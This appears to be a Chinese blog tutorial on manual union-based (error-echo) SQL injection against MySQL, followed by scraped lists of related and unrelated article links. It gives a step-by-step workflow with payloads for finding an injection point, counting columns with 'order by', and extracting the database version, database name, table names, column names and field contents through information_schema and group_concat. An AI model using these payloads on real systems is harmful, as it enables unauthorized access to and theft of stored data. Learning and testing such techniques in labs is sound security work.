sql注入 --显错注入
前提知识
数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合
数据库结构:
库:就是一堆表组成的数据集合
表:类似 Excel,由行和列组成的二维表
字段:表中的列称为字段
记录:表中的行称为记录
单元格:行和列相交的地方称为单元格
在数据库里有一个系统库:information_schema
在它里面有个存着所有库名的表:schemata schema_name 库名
在它里面有个存着所有表名的表:tables
表名 table_schema 表属于库 table_name 表名
在它里面还有个存着所有字段名的表:columns
table_schema 表属于库 table_name 表名 column_name 字段名
数据库结构中常用:table_schema库名 table_name表名 column_name字段名优先记忆
数据库中简单查询语句
select * from 表:从表里查询所有内容
where :有条件的从表中选取数据
and或or :条件有点多时候从表中选取数据
order by :根据指定的结果集/指定的列进行排序
limit 0,1 :从第一行起显示一条记录
union select :将多个表拼在一起
sql注入
攻击者通过构造不同的SQL语句来实现对数据库的操作。
任何与数据库产生交互的地方都可能存在sql注入
sql显错注入-联合查询(Mysql数据库)的基本流程及常用语句
sql手注的一般流程
一、判断注入点
如为整数型注入
id=1' 后面加上'单引号,页面出错
id=1 and 1=1
id=1 and 1=2 时页面不同判断存在注入
二、判断字段数
常用order by 判断字段数
order by :ORDER BY 语句用于根据指定的列对结果集进行排序。
如:
id=1 order by 3 页面正常
id=1 order by 4 页面错误
则字段数为3
三、判断回显点
使用联合查询
id =1 and 1=2 union select 1,2,3 前面为假是会查询后面的语句,从而可获得回显点
四、查询相关内容
查询数据库版本
and 1=2 union select 1,version(),3
查询数据库库名
and 1=2 union select 1,database(),3
猜询表名
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'
查询字段名
and 1=2 union select 1,group_concat(column_name),3from information_schema.columns where table_schema=database() and table_name='表名'
查询字段内容
and 1=2 union select 1,字段名 from 表名,3
若为单引号或双引号注入
考虑拼接为正常字符串进行逃逸
如;
id=1' union select 1,字段名 from 表名,3 -- +
后方为--+或-- a 或# 在很多数据库中杠杠加为注释符,在mysql中#为注释符,推荐常用--+
sql注入 --显错注入的更多相关文章
- [靶场实战]:SQL注入-显错注入
SQL注入的本质:就是将用户输入的数据当作代码带入执行. 注入条件: 1.用户能控制输入 2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行 首先检查是否存在注入点 Rank1: 构造语句 ? ...
- ref:学习笔记 UpdateXml() MYSQL显错注入
ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...
- MSSQL注入:显错注入及反弹注入
前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...
- 豹子安全-注入工具-显错注入-asp_POST_显错_SQLServer_GetWebShell
豹子安全-注入工具-显错注入-SQL Server-上传WebShell 请看下列视频 . 该视频在停留10秒钟后开始. 或点击此处查看:豹子安全-注入工具-asp_POST_显错_SQLServer ...
- 十种MYSQL显错注入原理讲解(二)
上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...
- 十种MYSQL显错注入原理讲解(一)
开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...
- MSSQL显错注入爆数字型数据的一点思考
Title:MSSQL显错注入爆数字型数据的一点思考 --2011-02-22 15:23 MSSQL+ASP 最近在弄个站点,密码是纯数字的,convert(int,())转换出来不报错,也不知道其 ...
- 别人的渗透测试(三)--SQL显错注入
续上一章. 安全狗拦下7成的人,过狗是门学问,偷笑.jpg.很感谢和https://home.cnblogs.com/u/xishaonian/ 博主能一起研究过狗. 说多了,言归正传SQL注入大显错 ...
- SQL注入——报错注入
0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...
随机推荐
- 汇编 | x86汇编指令集大全(带注释)
做mit-6.828的时候遇到了很多汇编知识,但是无奈学校还没学汇编,只能狠心啃啃硬骨头,在网上查到了很多的资料,归档!方便查看 ----------------------------------- ...
- jqgrid 自定义文本框、选择框等查询
要实现jqgrid的自定义查询可通过表格获取查询的条件,再给jqgrid表格发送postData参数. HTML: <table id="querytable" border ...
- 3 Spark 集群安装
第3章 Spark集群安装 3.1 Spark安装地址 1.官网地址 http://spark.apache.org/ 2.文档查看地址 https://spark.apache.org/docs/2 ...
- Kubernetes 中 Informer 的使用
原文链接:https://mp.weixin.qq.com/s?__biz=MzU4MjQ0MTU4Ng==&mid=2247485580&idx=1&sn=7392dbadf ...
- golang 并发demo 写入 redis
原文链接:golang 并发demo 写入 redis 源代码: package main import ( "fmt" "runtime" "str ...
- 个人项目WordCount(C++/QT)
个人项目WordCount(C++/QT) GitHub项目地址:https://github.com/Nova-cjp/Word-Count 百度云链接:https://pan.baidu.com/ ...
- 怎么给Ubuntu Server安装GUI桌面
sudo apt update sudo apt upgrade sudo add-apt-repository universe sudo add-apt-repository multiverse ...
- 牛客网PAT练习场-数素数
题解:就是一道素数筛选法 题目地址:https://www.nowcoder.com/questionTerminal/e0fb49acb75f47e8b6fa2077d9071799 /** * C ...
- jsoup中selector的用法及作用
1.jsoup——selector定义: selector选择器是用于对jsoup解析后document文档的数据筛选操作 2.jsoup——selector操作步骤: 1)先导jsoup架包 2)基 ...
- Java并发编程(08):Executor线程池框架
本文源码:GitHub·点这里 || GitEE·点这里 一.Executor框架简介 1.基础简介 Executor系统中,将线程任务提交和任务执行进行了解耦的设计,Executor有各种功能强大的 ...